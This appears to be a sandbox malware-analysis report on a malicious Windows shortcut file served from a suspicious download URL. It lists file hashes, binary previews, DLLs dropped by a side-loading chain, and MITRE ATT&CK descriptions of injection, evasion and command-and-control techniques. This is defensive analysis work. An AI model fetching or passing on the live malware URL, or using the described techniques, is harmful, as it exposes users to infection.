Preview:	L..................F.@.. ...$+.,......M.K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 11 17:12:56 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9980281374034607
Encrypted:	false
SSDEEP:
MD5:	A06BC87720302DDC0B686D1D14F86D8D
SHA1:	C6F8237995C88B7842E488A8AA8F481EB518C957
SHA-256:	913D3B91D8F14DF6B413B94E4A62B2FAD3088B7C091F1646C78ABB11377FD98E
SHA-512:	9883FEDA45F6D52D0144C32DF3C2C1293E542F019A85055B299B282816ED083DC5C3EEF98FB305789DB9E9F381B80D425CCEEDE50BF6E74860F5FBC462B1CF36
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......M.K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\i1040gi.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	4389662
Entropy (8bit):	7.988621119477524
Encrypted:	false
SSDEEP:
MD5:	10B8EF2FF5A140F2F09236846C2222B7
SHA1:	7D96445BF195417E61D659C0CB086DDFB3217600
SHA-256:	90C8759C7A829D8C74296187CDBDB47BC9025480FFFC41FF5E7225889C8FEA7E
SHA-512:	0AE4DF84440751D57CDE216B2FE003C4307043EC5A64154987353BFC082A497CF4B974B9E3A92E7D90BA7A1F0A4DB12AA917E10D502D841D5B5B449031620824
Malicious:	false
Reputation:	unknown
Preview:	%PDF-1.7.%.....14 0 obj.<</Filter/FlateDecode/Length 1098>>stream.x.WYo.6.~...s.{......)v..-:@..>...l..6..E.}I..e.I0QlR....'... .Z~(...}.GQ...e.b........,..8....X.zsw.p.t...V+..M...#..e..r;W..0.h.W.....B.....l.....p[.2t..Q.......#Z~:zn..D.C.D..g.....'.:...lr.F..x.i6.m#........M.....e.Lq7y.B~..W....^...go.....@......A.\0...#.T6..C.w....#.llj....Y.N.....iS^..A.........<..8k.L....>.T=...yZ.(.9mc.....&....../z;../`.......>..k.D....3.5.....n....o.7n^.~&.$.....T.Aj.S"..H.V..C.....p.....9h.WB...mNB.. \.....F..W.......).;.x...\.S....q....z...0...d.bVPZddy..6...2.G...L.'.....q.Z.JHhA.g.N.#.w~..6?.FHW6.hn+.,>......n9+.q.\.9....$.Z...[.!.,y+...V.......W....f.Ph.I..i..v)?4..=.....O.......r.x.nE...h.......>...sK3Q....,k..C..4]V._px.1gi...#.........0TD;.8..L\|.R9.t...l9b....x..!...........@-[9.E..H.bC..N.R.e.uR..Z.r...9U...6.X....2.,X.19..Z.I.]..'P..Tq...~9N$....kO?^{j..\....MY.g.4.+.7.V.^.~5.v6!-.+....Rj..bK...u}i...k}.....s.9..P.b..av.....[9....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.244344789506008
Encrypted:	false
SSDEEP:
MD5:	4DCF7410BD0414C01B7D3A569D16CA37
SHA1:	9E23DBD3F951692F23BC1D9EB56DA4E23F95DA90
SHA-256:	E6B216224A360BE81DF75B63B90AA0685DC04431760516B0122ECE2FDC3FAC0A
SHA-512:	0FA4C863630EC16090F456C3EB7EFBEC709BCBE51E580876E06F4EADCA062247D2745E4714D0E17486EA1798E2B7264B3D5793D89BD68772CD36E8E0B180145F
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.2.:.3.4.:.5.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Static File Info

⊘No static file info

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\63c344f8-adac-437b-b839-a8764de6e861.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241211181358Z-194.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk